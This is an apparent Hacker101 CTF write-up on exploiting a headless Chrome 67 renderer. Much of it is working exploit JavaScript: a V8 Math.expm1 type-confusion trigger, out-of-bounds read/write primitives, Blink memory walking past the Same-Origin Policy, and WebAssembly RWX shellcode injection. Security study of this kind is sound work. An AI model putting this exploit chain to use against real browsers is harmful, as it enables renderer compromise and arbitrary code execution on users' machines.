Rend Asunder Explained: When the Browser Itself Becomes Your Playground and the Screenshot Is the Only Output Channel

🇺🇸EN🇸🇦AR

Picture a locked room. No screen you can look at, no console you can type into, not even a console.log that returns anything useful. The only thing that ever comes back from that room is a fixed-size 800×800 PNG. Inside the room JavaScript is running. The engine executing it is HeadlessChrome 67. Inside that engine lives an old type-confusion bug in TurboFan. The page itself hides one flag inside a tag that never gets painted. Outside the iframe sits a second flag. On the filesystem sits a third.

This is not a movie plot. This is the Rend Asunder challenge on the Hacker101 CTF run by HackerOne.

I spent years on this one. Not weeks. Years. Every time I spun up a fresh instance I saw the empty textarea, typed some code, hit Save, and waited for the picture. Every time something different failed. Sometimes the GC moved objects and invalidated the indices I had just found. Sometimes the Blink offsets were not the ones I expected. Sometimes the shellcode ran, read the file, returned, and then crashed V8 because I had touched a callee-saved register. I would close the tab, come back weeks later, months later, a year later. Today I finally collected all three. This article is not a 300-line summary. It is the complete map. If you read it carefully you should be able to replay the entire chain from scratch with nothing more than a slightly old browser and patience.

I will walk through everything in roughly the order I actually encountered it:

  1. What the application surface looks like and what you can and cannot see.
  2. Why the output channel is blind and how to build a reliable way to get data out of the image.
  3. Flag 0: the flag that was sitting under your nose the whole time.
  4. Flag 1: crossing the Same-Origin Policy without touching any legitimate API, via a V8 6.7 memory corruption.
  5. Flag 2: turning the same primitive into real RCE and reading a file from the filesystem.
  6. All the small details that actually decide whether the chain lives or dies: warm-up, GC hygiene, offsets, the shellcode byte by byte, and the ways a single wrong assumption kills everything.

Let’s start from the moment the page loads.

The Moment You Open the Instance

You land on a deliberately simple form:

  • a large <textarea> named script
  • a Save button

When you type JavaScript and hit Save, the server stores the text against your instance and then launches a headless Chrome 67 against that page. The only thing you ever receive back is a PNG from the /image endpoint. Size is fixed: 800 by 800 pixels.

No cookies that help you. No useful localStorage. No require. No Node bindings. No PhantomJS-style fs module. It is a real Chromium renderer (just headless), usually running inside Docker, and usually launched with --no-sandbox because that is what headless needs inside a container.

The endpoints you actually interact with:

PathMethodWhat it does
/GETServes the form and textarea
/saveScriptPOSTStores the script and redirects
/imageGETReturns the screenshot of the rendered page

The default script if you have not submitted anything yet:

document.write('Hello from JS');

After you submit your own code, the page that gets rendered inside the headless browser looks roughly like this:

<!DOCTYPE html>
<html>
<head>...</head>
<body>
  <noscript>^FLAG^................................$FLAG$</noscript>
  <script>
    /* the JavaScript you just sent */
  </script>
</body>
</html>

That page is not the top-level document. It lives inside an iframe. The parent has an opaque origin (normally a data: URL), so any attempt to touch parent.location or parent.document immediately throws SecurityError. window === top is false. location.ancestorOrigins[0] is the string "null".

Confirming You Are Really on Chrome 67

Before diving into bugs you want proof of the version. You can emit a few probes and render them somehow onto the screenshot (even if OCR will struggle):

var info = [
  navigator.userAgent,
  "BigInt: " + (typeof BigInt),
  "flat: " + (typeof Array.prototype.flat),
  "location: " + location.href,
  "top: " + (window === top),
  "ancestor: " + (location.ancestorOrigins ? location.ancestorOrigins[0] : "n/a")
].join("\n");

document.write("<pre>" + info + "</pre>");

What you will recover after decoding the image:

  • The user-agent contains HeadlessChrome/67.0.3396.x
  • typeof BigInt === "function" (BigInt arrived in Chrome 67)
  • Array.prototype.flat === undefined (flat arrived in Chrome 69)
  • window === top is false
  • ancestorOrigins[0] is "null"

That is enough to know you are sitting on V8 6.7 and that the Math.expm1 typer bug is still alive.

The Bigger Problem Than the Bug Itself: the Blind Output Channel

Before talking about any flag you have to solve a simpler and harder problem at the same time: how do you get data out of a headless browser when the only thing that returns is a picture?

If you simply document.write a long 64-character hex string, the image will contain the text, but ordinary OCR fails in annoying ways. The digit 5 becomes s, the digit 1 becomes l or I, thin glyphs disappear or swap. I tried OCR more times than I care to admit over the years; every time the flag came back corrupted and unusable for submission.

The approach that finally stayed reliable is to stop relying on text at all. Turn the data into a rigid visual form: a grid of squares, each either black or white, representing the bits in order. Add a few colored corner markers so a decoder can recover orientation and scale even if the image is cropped or resized a little.

The idea in short:

  • each hex character is 4 bits
  • 64 characters are 256 bits
  • a 16-by-16 grid gives exactly 256 cells
  • black means bit 1, white means bit 0
  • one colored marker in each of three corners

The painting routine I ended up using (you can change sizes, colors, or layout; the only requirement is that your decoder matches):

function paintBits(hexString) {
  hexString = ("" + hexString).toLowerCase().replace(/[^0-9a-f]/g, "0");
  while (hexString.length < 64) hexString += "0";
  hexString = hexString.slice(0, 64);

  var bits = [];
  for (var i = 0; i < 64; i++) {
    var nibble = parseInt(hexString.charAt(i), 16);
    if (isNaN(nibble)) nibble = 0;
    for (var b = 3; b >= 0; b--) {
      bits.push((nibble >> b) & 1);
    }
  }

  var canvas = document.createElement("canvas");
  canvas.width = 760;
  canvas.height = 760;
  var ctx = canvas.getContext("2d");

  ctx.fillStyle = "#ffffff";
  ctx.fillRect(0, 0, 760, 760);

  // corner markers – change colors or positions if you like
  ctx.fillStyle = "#cc0000";
  ctx.fillRect(4, 4, 26, 26);
  ctx.fillStyle = "#00aa00";
  ctx.fillRect(730, 4, 26, 26);
  ctx.fillStyle = "#0000aa";
  ctx.fillRect(4, 730, 26, 26);

  var offset = 42;
  var cellSize = 41;
  var square = 26;

  for (var row = 0; row < 16; row++) {
    for (var col = 0; col < 16; col++) {
      if (bits[row * 16 + col]) {
        ctx.fillStyle = "#111111";
        ctx.fillRect(
          offset + col * cellSize,
          offset + row * cellSize,
          square,
          square
        );
      }
    }
  }

  document.open();
  document.write('<body style="margin:0;background:#fff"></body>');
  document.close();
  document.body.appendChild(canvas);
}

On your own machine you decode the resulting image with any image library. Locate the three colored markers first, compute scale factors, then sample the average luminance near the center of each cell. Dark means 1, bright means 0. Pack every four bits back into a hex character. The method is longer than a plain document.write, but it does not depend on OCR surviving a 64-character hex string.

I tried several other exfiltration ideas over the years (background-color bit streams, line drawings, even timing side-channels). None of them were as stable as a fixed visual grid once the only output is a screenshot.

You now have a reliable way to pull any 64-character hex value out of the headless browser. On to the flags.

Flag 0: the Flag That Was Sitting Under Your Nose

The hints for the first flag circled around “what do you have access to?”, “look around your sandbox”, and a phrase whose capital letters spelled DOM.

When JavaScript is enabled, the content of a <noscript> tag is never painted. The browser assumes you do not need to see it. The bytes themselves, however, are still present in the HTML source of the page. That page is same-origin to you, so you can read it.

The first thing I tried years ago was simply:

document.write(document.getElementsByTagName("noscript")[0].innerHTML);

If you could read the text from the image you would see the flag. Relying on OCR for a long hex string is still a bad idea, so the reliable path is to extract the flag from the source and then feed it to the same bit-painting routine:

var xhr = new XMLHttpRequest();
xhr.open("GET", location.href, false);  // synchronous so we finish before the screenshot is taken
xhr.send(null);

var html = xhr.responseText;
var match = html.match(/\^FLAG\^([0-9a-fA-F]{64})\$FLAG\$/);
var flagHex = match ? match[1] : "0".repeat(64);

paintBits(flagHex);

The synchronous XHR gives you the full HTML of your own page (including the noscript content). You pull the flag out and paint it as a bit grid.

The lesson is simple but keeps showing up in blind or semi-blind environments: “not visible on screen” does not mean “not present in memory or in the source.” Always dump the source of any page whose content you control or can read.

Save the image from /image, decode it, and you have Flag 0.

Flag 1: Crossing the Same-Origin Policy Without Touching a Legitimate API

The hints for the second flag pointed at the rendered page looking odd, at the possibility of looking outside the iframe, and at something living in the body or the URL of the parent page.

The flag lives in the parent. The parent origin is opaque, so parent.location and parent.document throw SecurityError. There is no legitimate Web API that hands you the parent’s content or even its URL when the origin is opaque.

The Same-Origin Policy is only a software check, however. Parent and child run inside the same renderer process. The parent’s URL string therefore sits in the same address space that your JavaScript can reach if it can obtain an arbitrary read.

The Root Bug: Math.expm1 and Minus Zero Inside TurboFan

Under IEEE-754 the value -0 exists and is distinct from +0 for certain operations. Math.expm1(-0) is required to return exactly -0.

In V8 6.7 (the engine inside Chrome 67) the TurboFan typer described the result of Math.expm1 as the union of PlainNumber and NaN. In that type lattice PlainNumber deliberately excluded -0.

The optimizer therefore believed that the expression

Object.is(Math.expm1(x), -0)

could never be true. When the result was used as a scale factor for an array index, the optimizer removed the bounds checks because it was certain the index would stay zero.

At runtime, if you actually pass a real -0, the check becomes true, the index becomes non-zero, and you obtain an out-of-bounds access.

To get the call site optimized you need a careful warm-up. Feeding the number 0 from the start can leave the feedback in a state that prevents the desired optimization. The sequence that worked after many experiments is to warm up with the string "0" (which is converted to a number inside the function) and only then fire the real -0:

var float64 = new Float64Array(1);
var uint32 = new Uint32Array(float64.buffer);

function toDouble(low, high) {
  uint32[0] = low >>> 0;
  uint32[1] = high >>> 0;
  return float64[0];
}

function fromDouble(value) {
  float64[0] = value;
  return [uint32[0] >>> 0, uint32[1] >>> 0];
}

var oobArray;
function trigger(x) {
  var doubles = [1.1, 2.2, 3.3, 4.4];
  var target = [5.5, 6.6, 7.7];
  var minusZeroObj = { mz: -0 };

  var isMinusZero = Object.is(Math.expm1(x), minusZeroObj.mz);

  // when isMinusZero is true the index becomes large and lands outside doubles,
  // overwriting memory near the length field of target
  doubles[isMinusZero * 12] = toDouble(0, 0x43434343);
  oobArray = target;
  return doubles[isMinusZero * 100];
}

// warm-up
trigger(0);
for (var i = 0; i < 120000; i++) {
  trigger("0");
}
// fire
trigger(-0);

if (!oobArray || oobArray.length < 100) {
  paintBits("dead0001" + "0".repeat(56));
  throw new Error("OOB failed");
}

oobArray is now a double array with an enormous length. That is your window onto the heap.

Building addrOf and Arbitrary Read/Write

The classic steps for turning an OOB double array into useful primitives on older V8:

  1. You already have the OOB float view.
  2. Place an object array nearby on the heap.
  3. Write a known value into the object array and read it back through the OOB view → you obtain addrOf .
  4. Place an ArrayBuffer , locate its byte_length and backing-store pointer through the OOB view, overwrite the pointer → arbitrary read/write via a DataView or TypedArray.

Practical code (with a little searching because heap layout is not guaranteed identical across runs):

var objectArray = [0x13371337, {}, function(){}, 0xdead];
var ab = new ArrayBuffer(0x1000);
var view = new DataView(ab);

// locate the object-array slot inside the OOB view
var objectSlot = -1;
for (var i = 0; i < 4000; i++) {
  objectArray[0] = 0x1111;
  var v1 = oobArray[i];
  objectArray[0] = 0x2222;
  var v2 = oobArray[i];
  if (v1 !== v2) {
    objectSlot = i;
    break;
  }
}

if (objectSlot < 0) {
  paintBits("dead0002" + "0".repeat(56));
  throw new Error("object slot not found");
}

function addrOf(obj) {
  objectArray[0] = obj;
  return oobArray[objectSlot];
}

// locate the ArrayBuffer by searching for its byte_length value
var abLengthSlot = -1;
var abBackingSlot = -1;
objectArray[0] = ab;

for (var i = 0; i < 5000; i++) {
  var parts = fromDouble(oobArray[i]);
  if (parts[0] === 0x1000 || parts[1] === 0x1000) {
    abLengthSlot = i;
    abBackingSlot = i + 1;
    oobArray[i] = toDouble(0x2000, parts[1]);
    var check = fromDouble(oobArray[i]);
    if (check[0] === 0x2000 || check[1] === 0x2000) {
      oobArray[i] = toDouble(0x1000, 0);
      break;
    }
  }
}

if (abLengthSlot < 0) {
  paintBits("dead0003" + "0".repeat(56));
  throw new Error("ArrayBuffer not found");
}

var originalBacking = fromDouble(oobArray[abBackingSlot]);

function read64(addrLow, addrHigh) {
  oobArray[abBackingSlot] = toDouble(addrLow, addrHigh);
  var low = view.getUint32(0, true);
  var high = view.getUint32(4, true);
  return [low, high];
}

function write64(addrLow, addrHigh, valueLow, valueHigh) {
  oobArray[abBackingSlot] = toDouble(addrLow, addrHigh);
  view.setUint32(0, valueLow >>> 0, true);
  view.setUint32(4, valueHigh >>> 0, true);
}

// sanity-check the arbitrary read/write
write64(originalBacking[0], originalBacking[1], 0x41414141, 0x42424242);
var test = read64(originalBacking[0], originalBacking[1]);
if (test[0] !== 0x41414141 || test[1] !== 0x42424242) {
  // some builds shift the layout by a few bytes; an extra scan may be needed
  paintBits("dead0004" + "0".repeat(56));
}

After the slots are found, allocate as little as possible. Any large new can trigger a scavenge that moves objects and invalidates every index you just discovered.

Walking Blink Until You Reach the Parent URL

The JavaScript document object is a wrapper around a C++ Blink object. On the specific Chrome 67 build used by the challenge the pointer chain looked roughly like this:

  • from the JS wrapper to the C++ Document (a fixed offset inside the wrapper)
  • from the child Document to a frame-tree node
  • from that node to the parent Document
  • from the parent Document to the url_ field
  • url_ is a StringImpl* ; from there you read length and characters

Because Blink objects live on a non-moving heap, the offsets stay stable for a given build. If the build differs slightly you may need a short scan around the expected values.

Once you have the StringImpl you discover that the parent URL begins with data:text/html and, after a possible decodeURIComponent, contains the flag pattern.

Paint the recovered hex with the same paintBits routine, decode the image, and you hold Flag 1.

The takeaway: Same-Origin Policy is a strong API-level barrier, yet once you possess an arbitrary read inside the same process, “cross-origin” becomes just another pointer chase through memory.

Flag 2: Turning Arbitrary Read/Write into Real RCE

The hint for the third flag was blunt: you need RCE; there is no other way.

The same primitive is now used to write executable code.

Why WebAssembly?

By Chrome 67 the code pages produced by the JavaScript JIT were already W^X. Writing and executing the same page was no longer straightforward. WebAssembly in that release, however, still compiled into fully RWX pages.

The high-level plan:

  1. Create a tiny WASM module that exports a function returning a constant.
  2. Include a funcref table with at least one element so the instance object populates a stable field.
  3. Read the address of the RWX page through the instance.
  4. Overwrite the original code with shellcode.
  5. Call the exported function so the shellcode runs.

A minimal module that returns 42 and contains a table can be expressed as raw bytes:

var wasmBytes = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // magic + version
  0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f,       // type: () -> i32
  0x03, 0x02, 0x01, 0x00,                         // function
  0x04, 0x04, 0x01, 0x70, 0x00, 0x01,             // table funcref min=1
  0x07, 0x05, 0x01, 0x01, 0x66, 0x00, 0x00,       // export "f"
  0x09, 0x07, 0x01, 0x00, 0x41, 0x00, 0x0b, 0x01, 0x00, // element
  0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x2a, 0x0b  // code: i32.const 42; end
]);

var mod = new WebAssembly.Module(wasmBytes);
var inst = new WebAssembly.Instance(mod, {});
var fn = inst.exports.f;

if (fn() !== 42) {
  paintBits("bad0001" + "0".repeat(56));
  throw new Error("WASM basic test failed");
}

After the table is populated you can read, via the instance, the address of the array that holds the code entry points and from there the base of the RWX page. Confirm that the page begins with the expected machine code for the exported function (something equivalent to mov eax, 42; ret).

Proving Execution

Before writing a complex shellcode, plant a trivial one:

mov eax, 0x1337
ret

If the call returns that value you know both the write and the subsequent execution succeeded.

Reading the File

The required file lives under a clear name in the process working directory. Because the headless instance is typically launched without a full sandbox, the open and read syscalls succeed.

The shellcode therefore does the classic sequence:

  • prepare the address of a null-terminated path string that you can compute ahead of time
  • issue sys_open
  • issue sys_read into a large buffer whose address you also know
  • store the number of bytes read somewhere readable from JavaScript
  • return

Critical constraint: use only caller-saved registers. If you clobber callee-saved registers (rbx, rbp, r12 and above) V8 will return from the native code, discover a corrupted state, and crash.

After the shellcode finishes you read the buffer from JavaScript, extract the flag pattern, and paint it with the same bit-grid routine.

The Complete Chain from Page Load to File Read

1. Write JavaScript into the textarea and hit Save
2. The page renders inside HeadlessChrome 67 inside an iframe
3. Flag 0: read the <noscript> content from your own page (same-origin XHR or DOM)
4. Build an OOB view via the Math.expm1 / -0 type confusion
5. Turn that view into addrOf + arbitrary read/write while keeping the GC quiet
6. Flag 1: walk from the document wrapper through Blink to the parent URL and its StringImpl
7. Flag 2: create a WASM instance with a table → leak the RWX page → write shellcode → execute → read the file
8. Paint any recovered flag as a bit grid on a canvas
9. Fetch the image from /image and decode it on your machine

Why the Chain Is Relatively Stable on the Real Instance

  • Blink objects and the malloc’d tables belonging to WASM do not move with V8’s garbage collector. The young generation does. Any technique that walks objects on the moving heap works on a quiet local build and collapses on a live instance whose GC is constantly active.
  • The warm-up sequence (string rather than number) matters for type feedback.
  • Once the slots are located, further allocations must be minimized.
  • The shellcode must obey the calling convention.

Notes from Years of Failures and the Occasional Success

Early on I assumed the whole problem was the iframe and tried every classic frame-busting trick. None of them worked because the origin is opaque. Later I spent a long time hunting for other OOB primitives before settling on Math.expm1. Blink offsets sometimes differed slightly between instances, so I had to add short scans instead of relying on completely fixed numbers. The shellcode failed many times because I saved too many registers or because I forgot that the buffer address must be known before the shellcode is assembled.

Each failure taught something about heap layout, about how TurboFan decides to elide checks, or about how Blink wires documents together.

Are There Other Roads?

Of course. Someone else might find a different typer bug, a different OOB primitive, or an exfiltration method based on timing or on changing the geometry of other elements. The visual grid is not the only possible output channel; it is simply one of the most stable when the only thing that returns is a screenshot. WASM is not the only source of RWX memory; it was the reliable one on this particular version.

What matters is that the chain is self-contained. It does not depend on any external service or on any pre-built tool beyond the code you write yourself.

Closing

Three years of opening the same kind of instance, trying, failing, closing the tab, and coming back. The vulnerability never lived in the application logic in front of you. It lived in the engine that executed the code you submitted. The Same-Origin Policy was an if-statement, the sandbox was weak because the environment needed to run headless, and WASM pages were still RWX.

Today all three flags are collected. If you have reached this point and understand every hop and every reason behind each choice, you can replay the same chain.

The safest deserializer is the one you never call. The safest browser is the one that never runs your code on an engine still carrying type confusions from 2018.

Take your time, break things, and come back if you need to. Old bugs do not disappear because they are old; they disappear when people stop running the versions that still contain them.